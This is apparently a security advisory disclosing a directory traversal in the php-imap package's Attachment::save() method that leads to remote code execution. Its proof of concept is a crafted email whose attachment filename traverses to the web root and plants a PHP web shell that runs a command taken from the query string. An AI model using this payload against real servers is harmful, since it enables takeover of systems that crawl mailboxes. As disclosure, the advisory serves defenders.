Summary

An unsanitized attachment filename allows any unauthenticated user to leverage a directory traversal vulnerability which results in a remote code execution vulnerability.

Details

An attacker can send an email with a malicious attachment to the inbox, which gets crawled with webklex/php-imap or webklex/laravel-imap. Prerequisite for the vulnerability is that the script stores the attachments without providing a $filename, or providing an unsanitized $filename, in src/Attachment::save(string $path, string $filename = null) (https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L251-L255).
In this case, where no $filename gets passed into the Attachment::save() method, the package would use a series of unsanitized and insecure input values from the mail as fallback (https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L252).
Even if a developer passes a $filename into the Attachment::save() method, e.g. by passing the name or filename of the mail attachment itself (from email headers), the input values never get sanitized by the package.
There is also no restriction about the file extension (e.g. ".php") or the contents of a file. This allows an attacker to upload malicious code of any type and content at any location where the underlying user has write permissions.
The attacker can also overwrite existing files and inject malicious code into files that, e.g. get executed by the system via cron, requests,...
The official documentation only shows examples of Attachment::save() without providing the $filename (https://www.php-imap.com/api/attachment), which makes this vulnerability even more widespread.

PoC

1. send an email with a malicious attachment to an inbox, which gets crawled by the package

Return-Path: <attacker@example.com>
Date: Fri, 17 Aug 2018 14:36:24 +0000
From: Attacker <attacker@example.com>
To: Victim <victim@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary="_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_"

Mail with malicious attachment

--_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_
Content-Type: application/octet-stream; name=shell.php
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment; filename=../../../../../../../../../../../../var/www/shell.php

<?php
// RCE
system($_GET['cmd'] ?? '#');
?>

--_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_--

3. crawl email with malicious attachment
4. store the attachment with Attachment::save('/path/to/storage') without providing a $filename value

Impact

This is a remote code execution vulnerability that is made possible through a directory traversal vulnerability.
Every application that stores attachments with Attachment::save() without providing a $filename or passing unsanitized user input is affected by this attack.